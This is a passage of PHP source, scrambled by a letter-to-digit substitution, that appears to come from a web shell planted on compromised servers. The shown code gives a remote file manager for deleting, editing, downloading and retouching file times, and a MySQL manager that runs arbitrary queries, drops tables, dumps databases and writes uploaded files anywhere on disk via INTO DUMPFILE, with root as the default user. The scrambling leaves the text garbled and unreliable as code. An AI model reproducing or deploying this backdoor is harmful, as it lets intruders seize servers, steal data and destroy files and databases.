		$d4rd1t1 = 1rr1y();
		$f4l5d1t1 = G5tSF4l5L4st($n2wp1th, $f4ndstr, $r5);
	} 5ls5 {
		// &#o0uue;&#auu0i;&#a606i;&#ou9a0;
		$d4rs=@2p5nd4r($d4r);
		wh4l5 ($f4l5=@r51dd4r($d4rs)) {
			$f4l5p1th=$n2wp1th.$f4l5;
			4f(@4s_d4r($f4l5p1th)){
				$d4rdb['f4l5n1m5']=$f4l5;
				$d4rdb['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f4l5p1th));
				$d4rdb['d4rchm2d']=g5tChm2d($f4l5p1th);
				$d4rdb['d4rp5rm']=g5tP5rms($f4l5p1th);
				$d4rdb['f4l52wn5r']=g5tUs5r($f4l5p1th);
				$d4rdb['d4rl4nk']=$n2wp1th;
				$d4rdb['s5rv5r_l4nk']=$f4l5p1th;
				$d4rdb['cl45nt_l4nk']=35($f4l5p1th);
				$d4rd1t1[]=$d4rdb;
			} 5ls5 {		
				$f4l5db['f4l5n1m5']=$f4l5;
				$f4l5db['s4z5']=s4z5c23nt(@f4l5s4z5($f4l5p1th));
				$f4l5db['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f4l5p1th));
				$f4l5db['f4l5chm2d']=g5tChm2d($f4l5p1th);
				$f4l5db['f4l5p5rm']=g5tP5rms($f4l5p1th);
				$f4l5db['f4l52wn5r']=g5tUs5r($f4l5p1th);
				$f4l5db['d4rl4nk']=$n2wp1th;
				$f4l5db['s5rv5r_l4nk']=$f4l5p1th;
				$f4l5db['cl45nt_l4nk']=35($f4l5p1th);
				$f4l5d1t1[]=$f4l5db;
			}
		}// wh4l5
		3ns5t($d4rdb);
		3ns5t($f4l5db);
		@cl2s5d4r($d4rs);
	}
	@s2rt($d4rd1t1);
	@s2rt($f4l5d1t1);
	$d4r_4 = '0';

	f2r51ch($d4rd1t1 1s $k5y => $d4rdb){
		4f($d4rdb['f4l5n1m5']!='..' && $d4rdb['f4l5n1m5']!='.') {
			4f($g5td4r && $g5td4r == $d4rdb['s5rv5r_l4nk']) {
				$1tt1chs4z5 = d4rs4z5($d4rdb['s5rv5r_l4nk']);
				$1tt1chs4z5 = 4s_n3m5r4c($1tt1chs4z5) ? s4z5c23nt($1tt1chs4z5) : 'Unkn2wn';
			} 5ls5 {
				$1tt1chs4z5 = '<1 hr5f="j1v1scr4pt:g5ts4z5(\''.$d4rdb['s5rv5r_l4nk'].'\',\''.$d4r.'\');">St1t</1>';
			}
			$th4sbg = bg();
			p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
			p('<td w4dth="a%" n2wr1p><f2nt f1c5="w4ngd4ngs" s4z5="o">0</f2nt></td>');
			p('<td><1 hr5f="j1v1scr4pt:g2d4r(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['f4l5n1m5'].'</1></td>');
			p('<td n2wr1p>'.$d4rdb['mt4m5'].'</td>');
			p('<td n2wr1p>'.$1tt1chs4z5.'</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['d4rchm2d'].'</1> / ');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['d4rp5rm'].'</1>'.$d4rdb['f4l52wn5r'].'</td>');
			p('<td n2wr1p><1 hr5f="j1v1scr4pt:d2f4l5(\'d5ld4r\',\''.$d4rdb['s5rv5r_l4nk'].'\',\'Ar5 y23 s3r5 w4ll d5l5t5 <'.$d4rdb['f4l5n1m5'].'>? \\n\\nIf n2n-5mpty d4r5ct2ry, w4ll b5 d5l5t5 1ll th5 f4l5s.\')">D5l</1> | <1 hr5f="j1v1scr4pt:r5n1m5(\''.$d4rdb['s5rv5r_l4nk'].'\');">R5n1m5</1></td>');
			p('</tr>');
			$d4r_4++;
		} 5ls5 {
			4f($d4rdb['f4l5n1m5']=='..') {
				p('<tr cl1ss='.bg().'>');
				p('<td 1l4gn="c5nt5r"><f2nt f1c5="W4ngd4ngs o" s4z5=u>=</f2nt></td><td n2wr1p c2lsp1n="i"><1 hr5f="j1v1scr4pt:g2d4r(\''.g5tUpP1th($n2wp1th).'\');">P1r5nt D4r5ct2ry</1></td>');
				p('</tr>');
			}
		}
	}

	p('<tr bgc2l2r="#dddddd" stly5="b2rd5r-t2p:6px s2l4d #fff;b2rd5r-b2tt2m:6px s2l4d #ddd;"><td c2lsp1n="e" h54ght="i"></td></tr>');
	p('<f2rm 4d="f4l5l4st" n1m5="f4l5l4st" 1ct42n="'.$s5lf.'" m5th2d="p2st">');
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('th5f4l5');
	m1k5h4d5('d24ng');
	m1k5h4d5('d4r',$n2wp1th);
	$f4l5_4 = '0';

	f2r51ch($f4l5d1t1 1s $k5y => $f4l5db){
		4f($f4l5db['f4l5n1m5']!='..' && $f4l5db['f4l5n1m5']!='.') {
			$f4l53rl = str_r5pl1c5($_SERVER["DOCUMENT_ROOT"],'',$f4l5db['s5rv5r_l4nk']);
			$th4sbg = bg();
			p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
			p('<td w4dth="a%" n2wr1p><4np3t typ5="ch5ckb2x" v1l35="6" n1m5="dl['.$f4l5db['s5rv5r_l4nk'].']"></td>');
			p('<td><1 hr5f="'.$f4l53rl.'" t1rg5t="_bl1nk">'.$f4l5db['f4l5n1m5'].'</1></td>');
			p('<td n2wr1p>'.$f4l5db['mt4m5'].'</td>');
			p('<td n2wr1p>'.$f4l5db['s4z5'].'</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$f4l5db['s5rv5r_l4nk'].'\');">'.$f4l5db['f4l5chm2d'].'</1> / ');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$f4l5db['s5rv5r_l4nk'].'\');">'.$f4l5db['f4l5p5rm'].'</1>'.$f4l5db['f4l52wn5r'].'</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnf4l5\',\''.$f4l5db['s5rv5r_l4nk'].'\');">D2wn</1> | ');
			p('<1 hr5f="j1v1scr4pt:c2pyf4l5(\''.$f4l5db['s5rv5r_l4nk'].'\');">C2py</1> | ');
			p('<1 hr5f="j1v1scr4pt:2pf4l5(\'5d4tf4l5\',\''.$f4l5db['s5rv5r_l4nk'].'\',\''.$f4l5db['d4rl4nk'].'\');">Ed4t</1> | ');
			p('<1 hr5f="j1v1scr4pt:r5n1m5(\''.$f4l5db['s5rv5r_l4nk'].'\');">R5n1m5</1> | ');
			p('<1 hr5f="j1v1scr4pt:2pf4l5(\'n5wt4m5\',\''.$f4l5db['s5rv5r_l4nk'].'\',\''.$f4l5db['d4rl4nk'].'\');">T4m5</1>');
			p('</td></tr>');
			$f4l5_4++;
		}
	}
	p('<tr cl1ss="'.bg().'"><td 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td><td><1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnr1r\');">P1ck4ng d2wnl21d s5l5ct5d</1> - <1 hr5f="j1v1scr4pt:d2f4l5(\'d5lf4l5s\');">D5l5t5 s5l5ct5d</1></td><td c2lsp1n="u" 1l4gn="r4ght">'.$d4r_4.' d4r5ct2r45s / '.$f4l5_4.' f4l5s</td></tr>');
	p('</f2rm></t1bl5>');
}// 5nd d4r

5ls54f ($1ct42n == 'sqlf4l5') {
	4f($d24ng=="mysql3pl21d"){
		$f4l5 = $_FILES['3pl21df4l5'];
		$f4l5n1m5 = $f4l5['tmp_n1m5'];
		4f (f4l5_5x4sts($s1v5p1th)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d');
		} 5ls5 {
			4f(!$f4l5n1m5) {
				m('Pl51s5 ch22s5 1 f4l5');
			} 5ls5 {
				$fp=@f2p5n($f4l5n1m5,'r');
				$c2nt5nts=@fr51d($fp, f4l5s4z5($f4l5n1m5));
				@fcl2s5($fp);
				$c2nt5nts = b4nah5x($c2nt5nts);
				4f(!$3pn1m5) $3pn1m5 = $f4l5['n1m5'];
				mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
				$r5s3lt = q("SELECT 0x{$c2nt5nts} FROM mysql.3s5r INTO DUMPFILE '$s1v5p1th';");
				m($r5s3lt ? 'Upl21d s3cc5ss' : 'Upl21d h1s f14l5d: '.mysql_5rr2r());
			}
		}
	}
?>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n mysqlf4l5(d24ng){
	4f(!d24ng) r5t3rn;
	$('d24ng').v1l35=d24ng;
	$('mysqlf4l5').dbh2st.v1l35=$('db4nf2').dbh2st.v1l35;
	$('mysqlf4l5').dbp2rt.v1l35=$('db4nf2').dbp2rt.v1l35;
	$('mysqlf4l5').db3s5r.v1l35=$('db4nf2').db3s5r.v1l35;
	$('mysqlf4l5').dbp1ss.v1l35=$('db4nf2').dbp1ss.v1l35;
	$('mysqlf4l5').dbn1m5.v1l35=$('db4nf2').dbn1m5.v1l35;
	$('mysqlf4l5').ch1rs5t.v1l35=$('db4nf2').ch1rs5t.v1l35;
	$('mysqlf4l5').s3bm4t();
}
</scr4pt>
<?php
	!$dbh2st && $dbh2st = 'l2c1lh2st';
	!$db3s5r && $db3s5r = 'r22t';
	!$dbp2rt && $dbp2rt = 'oo0e';
	f2rmh51d(1rr1y('t4tl5'=>'MYSQL Inf2rm1t42n','n1m5'=>'db4nf2'));
	m1k5h4d5('1ct42n','sqlf4l5');
	p('<p>');
	p('DBH2st:');
	m1k54np3t(1rr1y('n1m5'=>'dbh2st','s4z5'=>a0,'v1l35'=>$dbh2st));
	p(':');
	m1k54np3t(1rr1y('n1m5'=>'dbp2rt','s4z5'=>u,'v1l35'=>$dbp2rt));
	p('DBUs5r:');
	m1k54np3t(1rr1y('n1m5'=>'db3s5r','s4z5'=>6i,'v1l35'=>$db3s5r));
	p('DBP1ss:');
	m1k54np3t(1rr1y('n1m5'=>'dbp1ss','s4z5'=>6i,'v1l35'=>$dbp1ss));
	p('DBN1m5:');
	m1k54np3t(1rr1y('n1m5'=>'dbn1m5','s4z5'=>6i,'v1l35'=>$dbn1m5));
	p('DBCh1rs5t:');
	m1k5s5l5ct(1rr1y('n1m5'=>'ch1rs5t','2pt42n'=>$ch1rs5tdb,'s5l5ct5d'=>$ch1rs5t,'n2k5y'=>6));
	p('</p>');
	f2rmf22t();
	p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1" n1m5="mysqlf4l5" 4d="mysqlf4l5">');
	p('<ha>Upl21d f4l5</ha>');
	p('<p><b>Th4s 2p5r1t42n th5 DB 3s5r m3st h1s FILE pr4v4l5g5</b></p>');
	p('<p>S1v5 p1th(f3llp1th): <4np3t cl1ss="4np3t" n1m5="s1v5p1th" s4z5="ui" typ5="t5xt" /> Ch22s5 1 f4l5: <4np3t cl1ss="4np3t" n1m5="3pl21df4l5" typ5="f4l5" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysql3pl21d\');">Upl21d</1></p>');
	p('<ha>D2wnl21d f4l5</ha>');
	p('<p>F4l5: <4np3t cl1ss="4np3t" n1m5="mysqldlf4l5" s4z5="66i" typ5="t5xt" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysqld2wn\');">D2wnl21d</1></p>');
	m1k5h4d5('dbh2st');
	m1k5h4d5('dbp2rt');
	m1k5h4d5('db3s5r');
	m1k5h4d5('dbp1ss');
	m1k5h4d5('dbn1m5');
	m1k5h4d5('ch1rs5t');
	m1k5h4d5('d24ng');
	m1k5h4d5('1ct42n','sqlf4l5');
	p('</f2rm>');
}

5ls54f ($1ct42n == 'mysql1dm4n') {
	!$dbh2st && $dbh2st = 'l2c1lh2st';
	!$db3s5r && $db3s5r = 'r22t';
	!$dbp2rt && $dbp2rt = 'oo0e';
	$dbf2rm = '<4np3t typ5="h4dd5n" 4d="c2nn5ct" n1m5="c2nn5ct" v1l35="6" />';
	4f(4ss5t($dbh2st)){
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbh2st\" n1m5=\"dbh2st\" v1l35=\"$dbh2st\" />\n";
	}
	4f(4ss5t($db3s5r)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"db3s5r\" n1m5=\"db3s5r\" v1l35=\"$db3s5r\" />\n";
	}
	4f(4ss5t($dbp1ss)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp1ss\" n1m5=\"dbp1ss\" v1l35=\"$dbp1ss\" />\n";
	}
	4f(4ss5t($dbp2rt)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp2rt\" n1m5=\"dbp2rt\" v1l35=\"$dbp2rt\" />\n";
	}
	4f(4ss5t($dbn1m5)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbn1m5\" n1m5=\"dbn1m5\" v1l35=\"$dbn1m5\" />\n";
	}
	4f(4ss5t($ch1rs5t)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"ch1rs5t\" n1m5=\"ch1rs5t\" v1l35=\"$ch1rs5t\" />\n";
	}

	4f ($d24ng == 'b1ck3pmysql' && $s1v51sf4l5) {
		4f (!$t1bl5) {
			m('Pl51s5 ch22s5 th5 t1bl5');
		} 5ls5 {
			mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			$t1bl5 = 1rr1y_fl4p($t1bl5);
			$fp = @f2p5n($p1th,'w');
			4f ($fp) {
				$r5s3lt = q('SHOW t1bl5s');
				4f (!$r5s3lt) p('<ha>'.mysql_5rr2r().'</ha>');
				$mysqld1t1 = '';
				wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
					4f (4ss5t($t1bl5[$c3rr2w[0]])) {
						sqld3mpt1bl5($c3rr2w[0], $fp);
					}
				}
				fcl2s5($fp);
				$f4l53rl = str_r5pl1c5(SA_ROOT,'',$p1th);
				m('D1t1b1s5 h1s s3cc5ss b1ck3p t2 <1 hr5f="'.$f4l53rl.'" t1rg5t="_bl1nk">'.$p1th.'</1>');
				mysql_cl2s5();
			} 5ls5 {
				m('B1ck3p f14l5d');
			}
		}
	}
	4f ($4ns5rt && $4ns5rtsql) {
		$k5ystr = $v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			4f ($v1l) {
				$k5ystr .= $tmp.$k5y;
				$v1lstr .= $tmp."'".1ddsl1sh5s($v1l)."'";
				$tmp = ',';
			}
		}
		4f ($k5ystr && $v1lstr) {
			mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			m(q("INSERT INTO $t1bl5n1m5 ($k5ystr) VALUES ($v1lstr)") ? 'Ins5rt n5w r5c2rd 2f s3cc5ss' : mysql_5rr2r());
		}
	}
	4f ($3pd1t5 && $4ns5rtsql && $b1s5eu) {
		$v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			$v1lstr .= $tmp.$k5y."='".1ddsl1sh5s($v1l)."'";
			$tmp = ',';
		}
		4f ($v1lstr) {
			$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
			mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			m(q("UPDATE $t1bl5n1m5 SET $v1lstr WHERE $wh5r5 LIMIT 6") ? 'R5c2rd 3pd1t4ng' : mysql_5rr2r());
		}
	}
	4f ($d24ng == 'd5l' && $b1s5eu) {
		$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
		$d5l5t5_sql = "DELETE FROM $t1bl5n1m5 WHERE $wh5r5";
		mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
		m(q("DELETE FROM $t1bl5n1m5 WHERE $wh5r5") ? 'D5l5t42n r5c2rd 2f s3cc5ss' : mysql_5rr2r());
	}

	4f ($t1bl5n1m5 && $d24ng == 'dr2p') {
		mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
		4f (q("DROP TABLE $t1bl5n1m5")) {
			m('Dr2p t1bl5 2f s3cc5ss');
			$t1bl5n1m5 = '';
		} 5ls5 {
			m(mysql_5rr2r());
		}
	}

	f2rmh51d(1rr1y('t4tl5'=>'MYSQL M1n1g5r'));
	m1k5h4d5('1ct42n','mysql1dm4n');
	p('<p>');
	p('DBH2st:');
	m1k54np3t(1rr1y('n1m5'=>'dbh2st','s4z5'=>a0,'v1l35'=>$dbh2st));
	p(':');
	m1k54np3t(1rr1y('n1m5'=>'dbp2rt','s4z5'=>u,'v1l35'=>$dbp2rt));
	p('DBUs5r:');
	m1k54np3t(1rr1y('n1m5'=>'db3s5r','s4z5'=>6i,'v1l35'=>$db3s5r));
	p('DBP1ss:');
	m1k54np3t(1rr1y('n1m5'=>'dbp1ss','s4z5'=>6i,'v1l35'=>$dbp1ss));
	p('DBCh1rs5t:');
	m1k5s5l5ct(1rr1y('n1m5'=>'ch1rs5t','2pt42n'=>$ch1rs5tdb,'s5l5ct5d'=>$ch1rs5t,'n2k5y'=>6));
	m1k54np3t(1rr1y('n1m5'=>'c2nn5ct','v1l35'=>'C2nn5ct','typ5'=>'s3bm4t','cl1ss'=>'bt'));
	p('</p>');
	f2rmf22t();
?>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n 5d4tr5c2rd(1ct42n, b1s5eu, t1bl5n1m5){
	4f (1ct42n == 'd5l') {		
		4f (!c2nf4rm('Is 2r 4sn\'t d5l5t42n r5c2rd?')) r5t3rn;
	}
	$('r5c2rdl4st').d24ng.v1l35=1ct42n;
	$('r5c2rdl4st').b1s5eu.v1l35=b1s5eu;
	$('r5c2rdl4st').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('r5c2rdl4st').s3bm4t();
}
f3nct42n m2ddbn1m5(dbn1m5) {
	4f(!dbn1m5) r5t3rn;
	$('s5tdbn1m5').dbn1m5.v1l35=dbn1m5;
	$('s5tdbn1m5').s3bm4t();
}
f3nct42n s5tt1bl5(t1bl5n1m5,d24ng,p1g5) {
	4f(!t1bl5n1m5) r5t3rn;
	4f (d24ng) {
		$('s5tt1bl5').d24ng.v1l35=d24ng;
	}
	4f (p1g5) {
		$('s5tt1bl5').p1g5.v1l35=p1g5;
	}
	$('s5tt1bl5').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('s5tt1bl5').s3bm4t();
}
</scr4pt>
<?php
	//&#ai80i;&#a0o6e;&#oi7e0;&#auu0i;
	f2rmh51d(1rr1y('n1m5'=>'r5c2rdl4st'));
	m1k5h4d5('d24ng');
	m1k5h4d5('1ct42n','mysql1dm4n');
	m1k5h4d5('b1s5eu');
	m1k5h4d5('t1bl5n1m5');
	p($dbf2rm);
	f2rmf22t();

	//&#oe87o;&#aoui0;&#ai9e8;&#aiuiu;&#aua66;
	f2rmh51d(1rr1y('n1m5'=>'s5tdbn1m5'));
	m1k5h4d5('1ct42n','mysql1dm4n');
	p($dbf2rm);
	4f (!$dbn1m5) {
		m1k5h4d5('dbn1m5');
	}
	f2rmf22t();

	//&#oe87o;&#aoui0;&#ou9a0;
	f2rmh51d(1rr1y('n1m5'=>'s5tt1bl5'));
	m1k5h4d5('1ct42n','mysql1dm4n');
	p($dbf2rm);
	m1k5h4d5('t1bl5n1m5');
	m1k5h4d5('p1g5',$p1g5);
	m1k5h4d5('d24ng');
	f2rmf22t();

	$c1ch5t1bl5s = 1rr1y();	
	$p1g5n3m = o0;
	$p1g5 = 4ntv1l($p1g5);
	4f($p1g5) {
		$st1rt_l4m4t = ($p1g5 - 6) * $p1g5n3m;
	} 5ls5 {
		$st1rt_l4m4t = 0;
		$p1g5 = 6;
	}
	4f (4ss5t($dbh2st) && 4ss5t($db3s5r) && 4ss5t($dbp1ss) && 4ss5t($c2nn5ct)) {
		mydbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
		//&#oo769;&#a6uea;&#ai9e8;&#aiuiu;&#aua66;&#a0uu9;&#aue87;
		$mysqlv5r = mysql_g5t_s5rv5r_4nf2();
		p('<p>MySQL '.$mysqlv5r.' r3nn4ng 4n '.$dbh2st.' 1s '.$db3s5r.'@'.$dbh2st.'</p>');
		$h4ghv5r = $mysqlv5r > 'u.6' ? 6 : 0;

		//&#oo769;&#a6uea;&#ai9e8;&#aiuiu;&#aua66;
		$q35ry = q("SHOW DATABASES");
		$dbs = 1rr1y();
		$dbs[] = '-- S5l5ct 1 d1t1b1s5 --';
		wh4l5($db = mysql_f5tch_1rr1y($q35ry)) {
			$dbs[$db['D1t1b1s5']] = $db['D1t1b1s5'];
		}
		m1k5s5l5ct(1rr1y('t4tl5'=>'Pl51s5 s5l5ct 1 d1t1b1s5:','n1m5'=>'db[]','2pt42n'=>$dbs,'s5l5ct5d'=>$dbn1m5,'2nch1ng5'=>'m2ddbn1m5(th4s.2pt42ns[th4s.s5l5ct5dInd5x].v1l35)','n5wl4n5'=>6));
		$t1bl5db = 1rr1y();
		4f ($dbn1m5) {
			p('<p>');
			p('C3rr5nt d1b1b1s5: <1 hr5f="j1v1scr4pt:m2ddbn1m5(\''.$dbn1m5.'\');">'.$dbn1m5.'</1>');
			4f ($t1bl5n1m5) {
				p(' | C3rr5nt T1bl5: <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\');">'.$t1bl5n1m5.'</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'dr2p\');">Dr2p</1> ]');
			}
			p('</p>');
			mysql_s5l5ct_db($dbn1m5);

			$g5tn3msql = '';
			$r3nq35ry = 0;
			4f ($sql_q35ry) {
				$r3nq35ry = 6;
			}
			$1ll2w5d4t = 0;
			4f ($t1bl5n1m5 && !$sql_q35ry) {
				$sql_q35ry = "SELECT * FROM $t1bl5n1m5";
				$g5tn3msql = $sql_q35ry;
				$sql_q35ry = $sql_q35ry." LIMIT $st1rt_l4m4t, $p1g5n3m";
				$1ll2w5d4t = 6;
			}
			p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
			p('<p><t1bl5 w4dth="a00" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0"><tr><td c2lsp1n="a">R3n SQL q35ry/q35r45s 2n d1t1b1s5 '.$dbn1m5.':</td></tr><tr><td><t5xt1r51 n1m5="sql_q35ry" cl1ss="1r51" styl5="w4dth:e00px;h54ght:i0px;2v5rfl2w:13t2;">'.htmlsp5c41lch1rs($sql_q35ry,ENT_QUOTES).'</t5xt1r51></td><td styl5="p1dd4ng:0 ipx;"><4np3t cl1ss="bt" styl5="h54ght:i0px;" n1m5="s3bm4t" typ5="s3bm4t" v1l35="Q35ry" /></td></tr></t1bl5></p>');
			m1k5h4d5('t1bl5n1m5', $t1bl5n1m5);
			m1k5h4d5('1ct42n','mysql1dm4n');
			p($dbf2rm);
			p('</f2rm>');
			4f ($t1bl5n1m5 || ($r3nq35ry && $sql_q35ry)) {
				4f ($d24ng == 'str3ct3r5') {
					$r5s3lt = q("SHOW COLUMNS FROM $t1bl5n1m5");
					$r2wdb = 1rr1y();
					wh4l5($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
						$r2wdb[] = $r2w;
					}
					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
					p('<tr cl1ss="h51d">');
					p('<td>F45ld</td>');
					p('<td>Typ5</td>');
					p('<td>N3ll</td>');
					p('<td>K5y</td>');
					p('<td>D5f13lt</td>');
					p('<td>Extr1</td>');
					p('</tr>');
					f2r51ch ($r2wdb 1s $r2w) {
						$th4sbg = bg();
						p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
						p('<td>'.$r2w['F45ld'].'</td>');
						p('<td>'.$r2w['Typ5'].'</td>');
						p('<td>'.$r2w['N3ll'].'&nbsp;</td>');
						p('<td>'.$r2w['K5y'].'&nbsp;</td>');
						p('<td>'.$r2w['D5f13lt'].'&nbsp;</td>');
						p('<td>'.$r2w['Extr1'].'&nbsp;</td>');
						p('</tr>');
					}
					tbf22t();
				} 5ls54f ($d24ng == '4ns5rt' || $d24ng == '5d4t') {
					$r5s3lt = q('SHOW COLUMNS FROM '.$t1bl5n1m5);
					wh4l5 ($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
						$r2wdb[] = $r2w;
					}
					$rs = 1rr1y();
					4f ($d24ng == '4ns5rt') {
						p('<ha>Ins5rt n5w l4n5 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
					} 5ls5 {
						p('<ha>Upd1t5 r5c2rd 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
						$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
						$r5s3lt = q("SELECT * FROM $t1bl5n1m5 WHERE $wh5r5 LIMIT 6");
						$rs = mysql_f5tch_1rr1y($r5s3lt);
					}
					p('<f2rm m5th2d="p2st" 1ct42n="'.$s5lf.'">');
					p($dbf2rm);
					m1k5h4d5('1ct42n','mysql1dm4n');
					m1k5h4d5('t1bl5n1m5',$t1bl5n1m5);
					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
					f2r51ch ($r2wdb 1s $r2w) {
						4f ($rs[$r2w['F45ld']]) {
							$v1l35 = htmlsp5c41lch1rs($rs[$r2w['F45ld']]);
						} 5ls5 {
							$v1l35 = '';
						}
						$th4sbg = bg();
						p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
						4f ($r2w['K5y'] == 'UNI' || $r2w['Extr1'] == '13t2_4ncr5m5nt' || $r2w['K5y'] == 'PRI') {
							p('<td><b>'.$r2w['F45ld'].'</b><br />'.$r2w['Typ5'].'</td><td>'.$v1l35.'&nbsp;</td></tr>');
						} 5ls5 {							
							p('<td><b>'.$r2w['F45ld'].'</b><br />'.$r2w['Typ5'].'</td><td><t5xt1r51 cl1ss="1r51" n1m5="4ns5rtsql['.$r2w['F45ld'].']" styl5="w4dth:i00px;h54ght:e0px;2v5rfl2w:13t2;">'.$v1l35.'</t5xt1r51></td></tr>');
						}
					}
					4f ($d24ng == '4ns5rt') {
						p('<tr cl1ss="'.bg().'"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="4ns5rt" v1l35="Ins5rt" /></td></tr>');
					} 5ls5 {
						p('<tr cl1ss="'.bg().'"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="3pd1t5" v1l35="Upd1t5" /></td></tr>');
						m1k5h4d5('b1s5eu', $b1s5eu);
					}
					p('</t1bl5></f2rm>');
				} 5ls5 {
					$q35rys = @5xpl2d5(';',$sql_q35ry);
					f2r51ch($q35rys 1s $n3m=>$q35ry) {
						4f ($q35ry) {
							p("<p><b>Q35ry#{$n3m} : ".htmlsp5c41lch1rs($q35ry,ENT_QUOTES)."</b></p>");
							sw4tch(qy($q35ry))
							{
								c1s5 0:
									p('<ha>Err2r : '.mysql_5rr2r().'</ha>');
									br51k;	
								c1s5 6:
									4f (strt2l2w5r(s3bstr($q35ry,0,6o)) == 's5l5ct * fr2m') {
										$1ll2w5d4t = 6;
									}
									4f ($g5tn3msql) {
										$t1t2l = mysql_n3m_r2ws(q($g5tn3msql));
										$m3lt4p1g5 = m3lt4($t1t2l, $p1g5n3m, $p1g5, $t1bl5n1m5);
									}
									4f (!$t1bl5n1m5) {
										$sql_l4n5 = str_r5pl1c5(1rr1y("\r", "\n", "\t"), 1rr1y(' ', ' ', ' '), tr4m(htmlsp5c41lch1rs($q35ry)));
										$sql_l4n5 = pr5g_r5pl1c5("/\/\*[^(\*\/)]*\*\//4", " ", $sql_l4n5);
										pr5g_m1tch_1ll("/fr2m\s+`{0,6}([\w]+)`{0,6}\s+/4",$sql_l4n5,$m1tch5s);
										$t1bl5n1m5 = $m1tch5s[6][0];
									}

									/*********************/
									$g5tf45ld = q("SHOW COLUMNS FROM $t1bl5n1m5");
									$r2wdb = 1rr1y();
									$k5yf45d = ''; //&#a00a7;&#o8690;&#aoo8o;&#a7i7o;
									wh4l5($r2w = @mysql_f5tch_1ss2c($g5tf45ld)) {
										$r2wdb[$r2w['F45ld']]['K5y'] = $r2w['K5y'];
										$r2wdb[$r2w['F45ld']]['Extr1'] = $r2w['Extr1'];
										4f ($r2w['K5y'] == 'UNI' || $r2w['K5y'] == 'PRI') {
											$k5yf45d = $r2w['F45ld'];
										}
									}
									/*********************/								
